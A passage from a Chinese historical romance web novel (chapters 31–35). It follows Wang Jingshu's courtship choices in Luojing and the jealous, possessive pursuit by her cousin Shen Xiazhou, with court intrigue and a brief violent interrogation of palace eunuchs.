这种做法其实并无不可,可长久传下来,州郡的军事力量被削了,再加之后继之帝耽于享乐,皇权削弱的同时是世家的进一步崛起,他们以爵大肆购入土地,收留流民,扩大庄园…… 及至长公主父亲一代,世家手中权势军事力量,不夸张说,甚至大于皇族,而除此外皇室宗亲中也内部矛盾不断。 长公主嫁于沈氏郎君,又有沈家一族的托举,才得以扶先帝登位,后更是自己掌权,也同世家博弈到了一起。 这样的局势中,寒门这股新势力就显得尤为特殊了。 他如今做的不过是顺势而为,在长公主那里发挥着她想要的余热罢了。 想到此,惠王眸中划过一抹兴味,寒门这把刀可以是长公主的,但也可以是刺向长公主的。 就看洛京这浑水到底谁能上岸了。 这般乱的局面中,王娘子可真是误入的一尾鱼啊。 还是极漂亮,和有价值的一尾。 南地早前便是政权割据最顽强的一股势力,南地士族更是有不少到了如今也没有真正同北地相融,南地从来都是只差一把火,便会动摇的存在。 王娘子可真是送上门的联系。 更何况她又这般美貌,于男人而言,很难不令人心动。 惠王摩挲着王斐如的字画,遐想无比。 * 王静姝在外耽搁许久,回到沈府又已近暮色。 女郎繁复郁金裙,像是拖着橙霞一 般,熠熠生光,才入得房中,晦暗角落传出幽幽冷声:“你为何这般晚归?” “你知吕思温要离京平叛西蜀暴动了?你去送他了?” 问到这,沈遐洲沉默一瞬,他今日才将由盗匪口中审问,推测得知的西蜀内部情况告知长公主,推举吕思温离京去平叛,这任命即便下了,也不是王静姝现在能知道的。 所以她见的不是吕思温,那她又是同谁在一起? 王静姝房中莫名多了一人,还不及惊喊,先辨出了昏光角落的郎君是沈遐洲,更是被他问得莫名。 但见他走出昏色角落,面色多有不善,他不给王静姝退出房中的机会。 他自背后横臂拦住女郎,偏靥凝着女郎雪玉一般的肌容,眼中几多迷恋,还有几多暗恨,女郎不但上了脂粉,更抹了胭脂与口脂。 她在他晕倒之时,不扶他也就罢了,她还不担忧他,甚至外出访友了。 简直可恨至极。 他用拇指指腹用力蹭去女郎脸颊上的脂粉,冰凉的唇似碰非碰地摩挲女郎颊靥:“你去见谁了?” “你还有哪些交好的郎君?” “卿卿,告诉我。” 第32章 第32章你身上怎么都是酸味?…… 王静姝低头便能瞧见郎君横在她腰间的手臂,她本该呼喊的,也该及时退出屋中的,可她没有他快,她的侍女也该进来点灯的,但到现在仍旧昏暗,必然是沈遐洲的人做了什么。 她不让他来寻她,他却变本加厉,竟还会对她侍女出手了。 再想起郎君初次夜探她闺房的羞赧,简直变了个人似的。 她怒了,也不去留意郎君话中藏着的几多危险意味。 这关头,“卿卿”二字却酥酥麻麻地闯入了她的耳,搔得她的心也跟着跌一下。 这是极其私密的称呼,便是夫妻间也不见得有多少会这样称呼。 他们无媒无聘,甚至在断情的关头,沈遐洲竟这样唤她! 她神情几分空茫,更愿意怀疑是自己听错了。 沈遐洲不满女郎露出的神情,又去厮磨她,轻唤:“卿卿。” “卿卿——”郎君越唤越缠绵,耳廓也在王静姝瞧不见的地方滴红,可偏唤上瘾了般,一声叠一声,甚至无师自通般去啃咬女郎的耳垂。 那种湿濡、温热、蚂蚁啃噬般的轻微瘙痛,像是会侵蚀人心一般,击溃人心墙。 她好像有点顶不住郎君的这种攻势了。 最后的清明经不住地涣散,她神志已算不得清明,可她本就不是个会羞怯的规训女郎,她偏脸去勾缠郎君,吐着温热气息的红唇撩过郎君脸庞,在郎君激灵一瞬的时候,双臂已搭上郎君后颈。 她坏且嚣张,腰身扭动塌陷将重力交给郎君的同时,回应地去亲啄他,而郎君也在一瞬昏昏然,支应不暇地捞着女郎,既不想让她摔倒,又想空出手去扶一扶女郎摇摇欲坠的发簪。 带着流苏的发簪叮哐一下,终是随着女郎的动作落到了地上。 她仰勾在郎君的脖颈,逼得郎君节节败退,顶在了衣橱柜上,她轻嗅了嗅郎君的脖颈,浅笑轻诱又大胆:“沈九如,你身上怎么都是酸味?” 女郎遍体芳华,暗香在咫尺涌动,沈遐洲心都仿佛飘在云端,意识被女郎勾着走,想—— 酸味? 难道是他今日还未沐浴就来的缘故。 他空怔的神情引得女郎窝在他颈窝笑,笑意可恶又嚣张,她轻喃着问:“沈九如,你是不是真喜欢上我了?” 沈遐洲浑身一颤,冷水泼体一般地懂得了女郎的打趣,他松开撑住女郎的手臂,将她从自己颈窝处扯下。 他太了解王静姝了,这就是个有乐先享的女郎,他若是承认自己被她诱得不行,她一定会肆意嘲笑,再狠狠地将他抛弃。 她就是这般坏。 他敢肯定。 他咬牙冷声:“你少往自己脸上贴金,我怎会喜你这般言行无状的女郎!” “哦——”王静姝拉长了语调,眼波轻漾,“那你在我房中作甚?” “你管我何时回府作甚?” “又为何唤我卿卿?” 从女郎口中吐出的卿卿,余韵悠长,缱绻挑逗,甚至望着沈遐洲笑。 沈遐洲忍不住为她心动,他对她是十分有感觉的,但这种控制不住的有感觉,又常常令他在女郎面前落了下风,也令他恼恨不已。 他双目都克制得有些红了,立直身子,盯着女郎,一字一顿:“你当我是你这般薄情之人吗?说两清就能马上抽身?” 王静姝懂得了他的意思,他是一边责她无情,又一边为他的行为做解释,他不像她薄情,所以他还不能立马从如相恋一般的相交中抽身,所以才会出现她房中,所以才会过问她去处…… 他的俊美,乃至这种不经意显露出来的挽留,王静姝不禁又为他心生波澜,年少时便一眼喜爱的郎君,虽总有不合意的地方,可也相对的,总会再次对她产生吸引。 她微微垂下眼,有些不知该如何是好了。 而此时,她又听得郎君语带悲戚的指责:“王静姝你说我不想娶你,可你呢?” “你又当真想过嫁于我吗?” “你轻易就舍弃了我,你甚至不愿再多看看我,选择我。” 暮色越发西沉,没有点灯的屋中,只有年轻男女的声响极为清晰入耳。 王静姝倏地抬了眼,心间被指责得越发清明,她确实在一开始就没有想过嫁给沈遐洲,她贪慕他的颜色,可这并轮不到沈遐洲次次来提醒强调,她不够爱他,在她想更喜爱他的时候,长公主就给了她当头的一棒。 而且,他不信沈遐洲不知长公主是何态度,否则他也不会当日夜里就寻来。 所以,他至今没有解决完问题,反先来同她索爱吗?他是想她等等他吗? 人生苦短,她从不等任何人,即便是让她喜爱的郎君,也没有资格框住她让她为他去停留,去付出。 她是习惯被追慕的女郎,她想象不出自己会喜爱一人到付出所有的模样。 显然的,比起选择沈遐洲要面对的困难,她更愿意放弃。 她目色比暮霞还要绚烂,说出的话却比最寒凉的夜都要冷:“你说得对,我确实不愿选择你,沈遐洲,你能为我带来什么?长公主那般的威慑?还是对付宋娘子那般的为我好?” 沈遐洲受伤后退一步,自小就相识的女郎,果然最懂如何伤他,如何提醒两人的不同,清清楚楚地展现着她的无情。 “你既认清了我,就早日真的做到与我形同陌路。” 女郎背过了身,大有送客的意味。 他们都是出身好,骨子里骄傲极了的人,话说到这份上,谁也不可能再退后一步了。 沈遐洲面色有些苍白,他安静注视女郎露出一点颊靥的侧颜,潜伏在心底的晦暗、愤恨、不甘、暴虐,如疯狂的藤蔓,汹涌地向上攀,一瞬覆上了他的心房,又蔓到了他的双眼。 乌黑瞳仁映着泛红的眼底,呈现一种浓郁的病态,“王静姝,你一再招惹又弃我,我不会让你如意的,你来洛京所愿,皆不会如意。” 他是在说狠话吧? 怎声调一点威慑也没有? 王静姝偏脸去看他,只见郎君面容雪白,瞳仁也幽暗冷黑无比,声虽轻,可配上这样一副容颜,便如黑夜里盯上猎物的俊美恶鬼。 惊心动魄又阴魂不散。 王静姝心都跳漏了一拍,但她非是怕他的威胁,她觉得她的喜好,好似被沈遐洲带累出了问题,她为这样的郎君生出轻微的激荡和隐晦的新奇。 甚至还被激起了好胜心,她知道的,对付这样的郎君,你比他更大胆,更不要脸就行了。 方才她便试验成功过。 她慢慢转眼去望他,唇角勾着无畏的笑:“你要怎么让我不如意?” “我等着。” 沈遐洲掐死女郎的心都有了,她可真是油盐不进,水火不惧啊,可她又笑得这般好看,昏室中也熠熠生光,肌肤莹白温软,身量纤浓有致,脖颈间许是方才在相拥中扭身的缘故,襟口处,微微敞开。 他高她许多的视线下撩时,能瞧见女郎锁骨下方一点红痣,他不禁想,原来她这儿真有一颗小痣啊,微微的 一点儿,像是隐藏在肌肤下破裂的一点血痕,艳丽又可爱。 眯眼,再往下便是起伏的弧度,他只在两人相贴的时候,隐约感触过,甚至从不曾瞧清过。 而他们就要这样分开了。 她不给我瞧,以后会给谁瞧? 想起这种可能,他便扭曲地紧盯不放。 王静姝终于察觉到了他视线所落,震惊无比,她第一次发现沈遐洲竟是个面皮薄的色胚。 他上一刻还在威胁她呢,他难不成忘了? 沈遐洲也发觉了自己的行为确实挺让人瞧不上,或许还会更助长了女郎的无状和大胆,他微尬地别过视线,用眼风飘过一眼女郎的形状:“也不怎么样。” 王静姝没有在郎君的威胁中败下阵,但直到沈遐洲走了,她脑中还回荡着那句“也不怎么样”。 沈遐洲竟有脸嫌弃她?不怎么样他还看? 当竹苓终于得以入得房中点灯时,瞧见的就是自家娘子不断对着铜镜变动姿势,她美眸望来,问:“竹苓,我是丑了吗?” 丑这个词从来都是与王家六娘子不相干的,竹苓都被问得一怔,她叹气,“娘子,我听得长公主的千秋宴,怕是南地也会有人来。” 竹苓虽是近身照顾娘子的,可娘子是个散漫的,对听不进去的话,从来不听,甚至在与沈郎君交好时不带她,以至于,她如今也不清楚娘子到底与沈三郎到底是何情况,娘子有时为沈三郎伤神,有时又为沈三郎欢愉。 这是过往没有过的,也是极危险的,她怕娘子陷得太深,还怕娘子伤了心,更怕娘子洛京之行惨淡收场。 她不得不将方才打听来的消息告诉娘子,也好有个准备。 王静姝果然肃了脸,问:“都会有谁来?” 竹苓摇头不知,又有些迟疑地开口:“娘子与沈三郎——” 话未尽,王静姝便打断了她:“我与他绝无可能。” “他若是还要脸,今日后也不会再来寻我了。” “这样的事往后再不会有了,夜里将我门窗都栓紧一点。” 竹苓便知,沈三郎与自家娘子怕是又谈崩了,心底也生了怨,既不娶,又何必总来招惹娘子,她日后一定将院子中的各道门窗看好了,实在不行便去同袁夫人与沈二郎借些人手来。 王静姝晚膳后去了一趟沈风眠院中,王闻礼正咿咿呀呀地念着书,瞧见她,如获救一般喊:“母亲,六姐姐来了。” 沈风眠瞪他一眼,眼神压制得王闻礼重坐了回去,又起身同王静姝笑:“我便知你要来寻我。” 第33章 第33章她怎能如此厚此薄彼! 王静姝不好意思笑了笑,唤了一声小叔母。 自来洛阳后,她融入得极快,叔母这边来的并不怎么勤。 沈风眠也自来知她的性子,故而也并不约束她,此刻也是拉着她道:“是来问家中可会有人来的是吧?” 王静姝点头。 沈风眠柔柔笑道:“大伯兄自是不会来洛京,你父亲也不能走,来的是我夫君,如此可放心了?” 王静姝不由松了一口气,入洛京献礼一般都是有严格官品要求的,很多地方官员大致分两种,不愿来的和特别想来钻营一二的,王瑞作为王家的家主,身任地方长官,没有必要亲身来,但定然也是不肯她阿父来的。 她阿父来了,他们父女两可能就两都不归家了,那只能在余的叔伯中选。 要体面又有官身,最好还能说得上话的,那也只有小叔父了。 小叔父或许会为了家里劝上她一二,可总归不会偏颇得太厉害,也不会强压她回去。 沈风眠见她松了一口气,又提点到:“这是家中传来的情况,单是王家一家的,旁的人我暂不知。” “你也在洛阳京一段时日了,可有看中了的世家郎君?” 王静姝一瞬懂得了沈风眠的意思,家里这边可以拖,可若是丹阳王那边也来了人,又还不放过她,怕是会有麻烦。 她才松快几分的笑靥又跨了下去,含糊应道心中有数了。 洛京的世家郎君她如今也识得不少了,其中不乏慕她的,像郑七郎,祝五郎……都透出想娶她的意思。 除此外,对她有好感,但还欠缺一点火候的也不少,如吕三郎—— 思绪停顿一瞬,将惠王也算入。 其实所有的郎君都很好,不管他们是喜欢她的家世,还是喜欢她的皮相,于她而言都无所谓,毕竟她也是如此看待他们的。 但若非要筛选的话,吕三郎神采湛然,与她脾性甚合,惠王温雅丰秀,为人良善可交,也与她颇为适合。 甚至,她还曾考虑过沈二郎。 可所有人好似都差了些心动,她与这些郎君相处,心澜甚静,只是理智和需求催使着她与他们相交罢了。 此刻也是如此地,必须从中做出抉择。 她想起沈遐洲无意间提及的吕三郎要离京了,辞了沈风眠后,便嘱咐竹苓使了得力的家仆去打听是否有此事,又在歇下前让竹沥将要借出的字画再筛一遍。 长公主的千秋宴就在紧邻大势至菩萨佛诞的后五日,算来也就二月不到的时日,这时日可以说得上是短了。 也由不得她再慢慢拖了,是该广撒网了。 她睡梦中都在想着该往哪里撒饵料,又磨牙不已,她梦见她撒下饵料都被一面白的恶鬼给食了,那俊美恶鬼还同沈遐洲生着同一副面孔。 * 夜色黑魆。 在王静姝梦魇之时,有人非但未寝,还又入了宫。 零星燃着几盏灯烛的荒殿,四面透风,本就少的烛火摇曳如鬼火,一抹白在这鬼火正中更显可怖,可若细看过去,这郎君又苍白俊美无比。 沈遐洲仰靠黑木椅,手搭在膝上,沉静幽冷而坐。 他静静的,又郁郁的,晃动的烛光摇落在他身上,时而将他面容照得暖融融一片,时而又将他映衬得阴冷高贵。 当他面前被按跪下一老一少两内监时,年轻郎君也半分没有施舍眼色予他们。 老内监被一抹白惊吓不已,却在昏烛中辨出了郎君容颜,他像是抱得浮木的溺水之人,尖细的嗓子连声喊:“三郎君,你可救救老奴啊——” 郎君微不可察地皱了眉,冷淡无比地吐字:“吵。” 立刻有卫士会意地直接卸了老内监的下巴,小内监惊吓得**洇出一遍深色,手却死死捂住唇,不让自己发出一点儿会令俊美郎君不悦的声音。 老内监目中惊恐,像是不认识郎君一般晃动着合不上的下巴。 他随侍先帝又倒戈长公主多年,对这位隽逸无比的郎君说句看着大也不为过,这是个极疏冷但又懂礼的标准世家郎君,甚至有时还可用听话来形容,这郎君的疏冷令他眼中从无位卑之人,可这郎君的出身也令他常常只有听从长公主等人的份。 这样的郎君,老内监过往面上虽多有敬畏,可心底却是不屑的,不过又是个身份重的木偶人罢了。 然而,郎君今日的表现,全然颠覆了他过往的认知,望着郎君的眼神,冰冷不断在往他的骨头缝里钻。 沈遐洲懒懒掀了眼,眼中是情绪都难寻的幽暗,他是连做戏都不愿了,原原本本地显露着他本该的模样,可他的语气又是一贯的舒缓悦耳,割裂十分。 他声道:“公公,我寻你来是有话问你。” “我母亲寻王娘子说了什么?” “你当是能想起的吧 ?” 他略垂下的面容投下一片阴影,此刻的郎君,陡地又冷寒诡谲了起来。 老内监目中胆俱得积满了泪,另一旁的小内监不断蜷着身躯,害怕被这样的郎君盯上。 “瞧我,倒忘了公公的弟子也在。” “这样如何,谁能先给我想要的,便活哪一个?” 听得能活,小内监偷偷打量郎君一瞬,也不管老内监现是何状态,争抢着展现着自己的价值:“郎君,奴不知长公主说了什么,但我知道旁的,公公他与惠王私下有往来,数次私下道惠王心善体恤位卑之人,若是当初惠王能登得大统,我们或许会有更好的造化。” “公公常给惠王传信。” 小内监明显是急了,“奴还知是惠王主动为公主分忧,指使宫侍给沈二郎下药。” 老内监绝望瞪着小内监,若是可以的话他甚至想去生啖了这小畜生。 沈遐洲目中并无波澜,微颔首后,重坐回黑椅,瘦长手指招一下,卫士将老内监的下巴安了回去。 黑岑岑的眼抬一下道:“公公,到你了。” 老内监不甘愿又想苟活地将公主同王娘子所说话大意转达,“郎君擅自抓我来,公主若是知晓了,郎君可想过会如何?” 郎君正震惊于王静姝入洛京还有丹阳王这样一层原因在,陡地听得老内监的诘问,眸色微凝,如同看死人一般—— 可真是到了现在还不怕死啊! 竟妄图用长公主让他惧。 郎君冷笑:“将公公的头颅摘下送给母亲。” 老内监不敢置信地盯向郎君,唇瓣翕动当口,已被极听令的卫士一刀抹脖,鲜红的血溅了小内监满脸,他又抱头瑟缩成一团。 而年轻的郎君望此血腥场面,只垂头碾了碾不小心飞渐到他脚下的血点。 他瞥一眼胆俱得失了神的小内监,半弯下腰,“将你方才的话,一字不落地重复给长公主。” 他心情似是不错,打算遵守诺言放过这小内监一次,至于他会死在何人手中,并不在他的考量范围。 夏日的夜里草虫鸣燥,风猎夜雾下郎君的白衫宽袍,他面容苍白,唇角却弯着,目中也几多星云摇落。 他有些苦恼,彻底弄清长公主同女郎说了什么,他其实已又原谅女郎几分,甚至胸中鸷意扭曲转向了那觊觎王静姝的丹阳王。 可不期地,又想起女郎几次轻易弃他,咬牙无比。 嵇牧远远瞧着郎君一会笑一会阴郁散发戾气,不着痕迹地同郎君拉开了些距离,自王娘子来了洛京后,他家郎君如今好像越发不正常了。 世家大族皆蓄养卫士甚至死士,沈家内部权柄,除了家主沈照的家主令能调动所有外,各个郎君手中各有一部分能动用的人手。 郎君不但清洗这些人,还隐与长公主对抗,这才被打发出洛京冷静些时日,一回来,见王娘子一次便不正常一次,不是晕倒就是夜里发疯地要杀人,将长公主身边侍候的内监直接提了出来。 即便审出了正当的由头,嵇牧仍旧头皮发麻。 心想,自家郎君同王娘子碰到了一块,果然不是什么好事。 而沈遐洲并不惧今日行事会如何惹得长公主动怒,母亲既早知他是何种人,如今也该当为他的无驯感到欣慰才是。 他的婚事长公主便是有想法,也是绕不过沈照的,她无非是无法忍受唯一的孩子脱离掌控罢了,即便换了王静姝外的任何一个女郎,她都是不会应允的。 所以,他明明是能娶王静姝的,可女郎实在太过分。 尤其是今日傍晚,她才伤了他心。 他不该这么快原谅她。 他胸腔中涌动着些报复的欲望,他该放任女郎忐忑不安久一些的好。 脑中甚至想出如何用丹阳王吓吓她的好。 他兀自想得畅快几分,对女郎的最后一点怨怒也散得不见了。 然则,当他再次抽身探得女郎动向,得知女郎竟在邀吕思温赏月为其送行。 他气问:“她在哪赏月?” 绯色爬满郎君眼底,阴郁戾气如有实质般从他周身散开,无端迫人,可又无端充斥着些怨念。 王静姝都从未邀过他赏月,他被派出剿匪时,她非但一句关怀没有,甚至见都不曾见他一面,更遑论是送行了。 她怎能如此厚此薄彼! 第34章 第34章她到底对他几多真情几多…… 风清雾浅,云阶月地,独树临水,石影粼粼。 树下有桌有酒,年轻郎君女郎对影而坐,谈及吕三郎缘何突然就要远伐平叛,才知是沈遐洲试得吕思温武艺惊人,这般勇武郎君平日里只游猎嬉玩,岂不可惜,不若去建功立业。 然则,蜀地动乱到底几何,也不过从匪贼口中所审得的只言片语,这一去凶险未可知,归期也未可知。 王静姝笑意再难以维持,她已能想得沈遐洲如何搞鬼,原来他的不让她如意是这么回事,她僵着笑听吕思温的跃跃欲试,心中却将沈遐洲骂了个狗血淋头。 女郎的眼睫低垂,在昏色灯下玉白面容好似蒙着一层晕光,淡淡的,但美好至极,触动面前神采飞扬郎君心间最柔软的部分。 吕思温无疑对王静姝是极有好感的,无人会不喜明艳不可方物的女郎,而女郎主动相邀为他送行,还露出一副担忧的神情,他心神摇荡间,抓住了女郎的手,道:“六娘不必伤怀,学成武艺,本就为壮志护山河,朝天阙,六娘可愿意等我。” 他目色真挚,隐有期待。 王静姝实在不愿伤了这样神采湛然郎君的心,赧然垂头,想着,吕三郎怎么都是吕相的幼子,总不至于真的就回不来了,也就暂时被支出洛京而已,而且说不定再回来时,身份也已会不同了。 或许并不需要等多久。 她在迟疑。 年轻郎君似乎也发觉了自己的举动太过唐突,“六娘不必立即回答我,待我从蜀地建功回来……” 吕三郎仍旧握着女郎的手眉眼飞扬地说着些什么,而不远阁楼之上的沈遐洲却不知听了多久,他见吕思温身材高大,笑得肆意张扬,王静姝在这样的郎君跟前被衬得纤弱婉丽,她时而静听郎君远大志向,时而同郎君自在谈笑。 沈遐洲分明厌恶无比,也恶意无比,他满心想拆散树下男女,偏又自虐一般等待,逼迫自己看下去,他已分不清女郎过往对他到底是真心喜爱还是虚情假意了。 他扪心自问,他非有吕思温的爽朗直白,也不及吕思温身体健康,他这辈子都绝无成为这样郎君的可能。 他越看越觉得王静姝或许真的是更喜爱这样的郎君,不然缘何她过去身边也都是这样相合的玩伴? 沈遐洲一颗心都破了洞一般地被一柄刀子来回地绞,直到见到吕思温握住了女郎的手,他染着血意的眼睛骤缩,一盆盥手用的水打翻了出去,直泼向楼下男女。 吕思温不愧是习武的,感觉敏锐至极,水泼来的当口就已旋身将女郎护在了身后,他衣衫尽湿,仰头望去。 阁楼之上的端盆小仆满脸哭丧,焦急看看楼下又看看身边神骨清秀的郎君:“郎君,这、这……” 他“这”了好半响,这些世家郎君龃龉,何必将他一个小人物夹在中间。 原是这楼是洛京盛名的山斋食肆,观岩赏景,临水用食,也是一种雅趣,阁楼之上更是有鸣琴等,王静姝就是看中此间清净又适宜送行,才约在此处。 没想沈遐洲除将吕思温支出京外,还给她玩这一手。 即便被吕三郎护着,她面上也不免飞溅得些水渍,她精心的妆容,蕴出的离别愁绪,被沈遐洲的这一泼浇得怒火取代。 怒目对视。 王静姝倏地被沈遐洲的眼神惊到,那眼平静又幽冷,像有激流被压制,又像是有狂意即将涌出,她还想再瞧清一些,沾到的水渍自额心下淌至她眼睫,视线也变得朦胧。 而在此时,吕思温也扭头来查看女郎的情况,比起同阁楼之上的郎君较量,他显然更担忧被他护在身后的女郎。 他瞧着张扬不拘,可实在有一副清透心肠,明明白白的喜欢,也明明白白的真 诚,他直接用袖子为女郎去擦脸上的水渍,“六娘可有被惊到?” 王静姝微微摇头。 吕思温松快一下,大手抹去自己脸上的水渍,扯唇灿笑:“六娘无事便好。” 他笑起来总有种别样的味道,露着数颗白牙,亮得晃眼,可鼻梁挺直,星目又耀眼,就极感染人,尽显少年人的豪情风流。 王静姝瞧着,便也不由噗呲地与他一同笑了。 阁楼上的郎君彻底被这一幕刺激了,才被小仆捡起的盥盆又被掀了,还直往阁楼下冲着吕三郎砸。 这实在一次比一次过分,吕思温侧避一下,对着楼上高声:“沈三,你是何意?上次将我当歹人,这次又是何缘故?” “手误。”高楼之上的郎君声色淡淡,嘲讽意味却十足:“本想来同清游相谈一些新探查出来的蜀地情况,没想清游早已胸有成竹,倒是打扰清游与我表妹赏月了。” 赏月二字被他说得杀意汹涌,瞥向王静姝的眼神也带着一股子的挑衅,还有一股子破罐破摔的冷恹。 这样的郎君其实是很熟悉的,曾几何时,他们针锋相对时便是如此。 他们关系终究是回到了最初。 王静姝心中空落一瞬,又冷硬无比,她从不是个会露怯的女郎,毫不避让地回望沈遐洲,大有你能拦得了这一次,难道还能时时盯着她不成。 她望得眼都有些酸了,吕思温似也察觉到些他们之间的暗涌,那是旁人都插不进去的男女较量,他们气场似在拉锯,又似在赌气,谁也不让谁,也谁都执拗无比。 属于第三人的吕思温心底生出了古怪,他动静一瞬,撞响了那铜制的盥盆。 王静姝陡地回眼,想起身旁还有一个郎君,她转目看向吕思温,夏衫尽湿的郎君莫名有些呆,她递出帕子,有些歉意:“我与三表哥近来有些争执,连累吕郎君了。” 女郎扑面而来的温柔,吕思温被摄魂般要接过帕子,王静姝却并未松手,她递身一瞬,要为郎君擦拭,也是这么一小瞬的功夫,透过吕思温肩头后,能瞧见阁楼之上负气离去的郎君背影。 吕思温着实被女郎的举动弄得羞涩,他又去接手道:“沈三郎脾性洛京中人的皆有耳闻,不关六娘的事。” 王静姝松手交出帕子,有些震惊地掀眼:“三郎不怪我表哥举荐你去蜀地平叛?也不计较他方才所为?” 吕思温摇头:“我也没六娘子想的这般大度,我父任大绥相职,我虽一直闲散,但家父与长公主之争,我又哪能一点不知,我与沈三郎本就立场不同,如今多一事不如少一事。” “况且我也多感谢沈三的举荐,否则,换了家父这边的路子,怕还要几经磋磨才能寻个缺。” 说着,吕思温又是咧牙一笑。 暖意融融还带着些赧然的笑。 王静姝像是重新认识了吕思温一般,相交也更真切了几分,但因其身上沾湿,便并未闲话多久,相约待吕思温归京再见。 相别后,王静姝上了马车,然马车缓行不过片刻,有马蹄声追来,还伴有“六娘子”的呼喊。 是吕思温的声音。 王静姝让车夫停下马车,掀帘望去。 俊朗郎君不顾身上湿入里衣的不适,赶马追来,及至车前勒马,他问:“六娘子,待我从蜀地归来可还有追慕你的机会?” 王静姝惊讶,还有些意外。 吕思温不好意思挠了挠头,大抵也是第一次这样追逐女郎,她道:“六娘子勿怪,六娘子虽特地为我饯别,但我总觉得你心中还藏着事。” “六娘子可否告知我,你在为什么不安?我可能帮得上你?” 王静姝一直当吕思温是个不拘小节,也迟钝的郎君,没想他直觉竟这般敏锐,但她并不会因郎君几句话,就将自己困境相告,他是个马上要离开洛京的郎君,而她也是个骄傲女郎,她要的是郎君来慕她,而不是来怜她。 她眉眼生动一笑,便是芳华遍体,直言:“我确遇到一些事,三郎若能早些平叛归来,或许还有追慕我的机会。” 说罢,她放下帘子,声道:“我祝郎君此行战无不胜,攻无不克,愿与郎君凯旋再聚。” 马车再次毂毂前行,吕思温迟迟没有回神,他其实在更早时便注意到王六娘子,那时郑家赛牛草场,女郎们挤挨在一块,王六娘子繁衣郁裙,雾鬓云髻,盛容明妍,是一眼便再难忘的美人,见了她,旁的颜色便再难具有吸引力。 他本是有机会相救女郎,却迟了沈三郎一步,女郎盈立在高台之上,满心满眼都是沈三郎,那时,他黯然转去救助旁人。 没想一段时日后,得以与女郎在田猎相会。 女郎神采潋滟,郎君们争相讨她的欢心,他虽表现得落拓,但也不例外。 沈三朗好似与他还有他们也没有什么不同。 尤其是女郎方才的一番话,更是点燃了他心中的火焰。 凯旋再聚,他定当早日凯旋。 * 翌日,王静姝便听得吕三郎离京的消息。 她目色微顿一下,吕三郎很好,可她实在不喜欢等人,她对沈遐洲如此,对吕思温也不会例外,而且她也已暗示过他早些回来,他若是能在千秋宴之前归来,或许还有机会。 接下来,王静姝一连几日都不曾出门,而沈遐洲也不曾出现在她面前,但她并未放松警惕,这日,与惠王相约的石窟寺,她特意在外多绕了绕,才又去赴约。 沈遐洲望着女郎从一铺中出来后,还特意换了一辆马车,冷笑不已,他不会让王静姝如愿,他也病态般地想跟着女郎证实些什么。 他想知晓,她到底喜欢怎样的郎君,她到底对他几多真情几多假意? 还想知道自己可是最不同的那个? 他甚至想恶意地破坏女郎的一切计划,希冀着女郎承认只有他能帮她。 第35章 第35章你会后悔抛弃我的。 沈遐洲满心扭曲,尤其是又见了吕思温后,他一边认定王静姝根本待谁都没有真心,可又一边禁不住地想或许她本就更喜吕思温那般的郎君。 这些杂念时时刻刻折磨着他。 他病容阴鸷,却不想停歇,他整日整日地周旋朝堂之上,又不断派出人去建业查着些什么亦或是盯着女郎的动静。 沈遐洲远远盯着女郎入了是石窟寺,眼底是压抑不住的暴虐,他本性就不是个什么好郎君,王静姝所为又一再刺激他。 他心眼实在太小,瞧得女郎今日赴约的对象竟是惠王,目色越发地阴冷。 谁也猜不透他心底想的到底是什么。 众人只见自家郎君都瞧吐血了,还在一味地忍耐,毛骨悚然地退远了些。 而此时的王静姝并不知沈遐洲又跟来了,她已数日不见惠王,惠王像是遭逢了大难一般,宽袍都能透出几分瘦削来。 她不免关怀几句,甚至怀疑是不是沈遐洲又偷偷做了什么。 惠王微笑,解释并不详尽:“长公主曾交代我的一些事,我做得不够尽善,惹了一些责骂。” “又病了一场。” 听得长公主的名头,王静姝便不再多问,长公主与沈遐洲这一对母子,实在让她头痛,一个打压了她,一个又向她索爱。 她己身陷丹阳王带来麻烦,一点都不想再惹上新的麻烦,甚至生出几分悔意,她便不该去招惹沈遐洲。 然说什么都晚了,她如今只想尽快将自己终身定了。 她总对七月的千秋宴有不好的预感,可家中迟迟不传信来说明丹阳王的动向。 她料想丹阳王应是不会自己入京的,丹阳王有野心,他不可能将自己送到长公主手中,但也说不定,万一他想表忠心麻痹长公主呢? 惠王也同样岔开话题,为王静姝介绍石窟中的佛像。 王静姝初时不太喜,后又逐渐看得出了神,洛京的石壁上的雕刻与彩绘上多有天上人间的描 绘,还有神话传说和舞蹈伎乐。 尤其是那壁画当中,那些束高髻戴宅冠的舞伎,着羽裤,披长巾,一派的慧根佛像,天衣裙裾翩翩翻飞,项饰臂钏叮当摇曳。 最后出胯旋身的动作也尽显精妙。 王静姝是学舞的,这些壁画中舞伎动作,极大地触了她学习的欲望,她目不转睛地看着,将所有动作刻入脑中,甚至在脑中编起了舞。 她后知后觉地想起差点又被遗忘了的此行目的,扭头看向惠王,惠王同样在看她,目色平静柔和,半点不见不耐,甚至与她介绍壁画中出现的伎乐裙饰纹样,那是“坛城”,也既是曼陀罗,是佛教的四大吉花之一。 余下三花分别是山玉兰、莲花和优昙花。 惠王声致舒朗,每一种花引经据典,娓娓道来,对佛花与佛语娴熟于心。 王静姝也难得地对此些有了兴趣,不由问:“那岂不都是正值花期?” “不知寺中可有殿下所说的这些花?” “殿下可否引我去识一识?” 女郎美眸弯一下,眉眼间便荡出妍丽神采,充满生机,也十分魅惑。 “寺中确有一片花海,遍植玉兰等花,只昙花白日里倒是不好见得。”惠王道。 王静姝眼眸倏亮,显出十足的趣味,道无妨,昙花可以日后再瞧。 日后复日后,再加之惠王要归还的书画,这约便可一次次地往来下去。 年轻男女心照不宣。 沈遐洲却再次忍得咬牙,他一路跟着王静姝,自是见到小沙弥在为王静姝引路之时,便已提起过寺中花海,王静姝这时却故作不知,不是蓄意勾引是什么? 她不单引得吕思温为她心动,她还转头就蓄意与惠王赏花。 她为达目的,根本没有真心。 她能轻易弃他,她对他也没有真心,她也不过是想借他摆脱丹阳王的觊觎。 如此,女郎过往种种举动又有了一层新的解读。 他眼中血丝如藤蔓般上延,他一时发狠地想报复女郎的欺骗与玩弄,一时又怨恨女郎既然已要借沈家的势了,又为何不一直借下去? 凄楚愤恨交织,再见年轻男女相伴去花海的背影,他只有一个念头,王静姝休想如愿。 卫士用衣衫包裹着蜂窝回来,垂首等着郎君示意。 “放到花海去。”面容苍白的郎君冷声道。 卫士身姿矫健,“砰”一声将蜂窝投掷到了花海必经的路口。 王静姝与惠王正靠近,恰遇蜂群从巢中涌出,嗡嗡作响,铺面而来。 蜂群不一定是冲着他们来,但他们无疑是靠得最近的,当这些马蜂寻不到罪魁祸首之时,无疑会选择最近的人攻击。 王静姝当即抱头就跑,这东西可不是好玩的,被蛰一次要破相。 不愿打扰惠王与女郎相处的护从门也急忙上前。 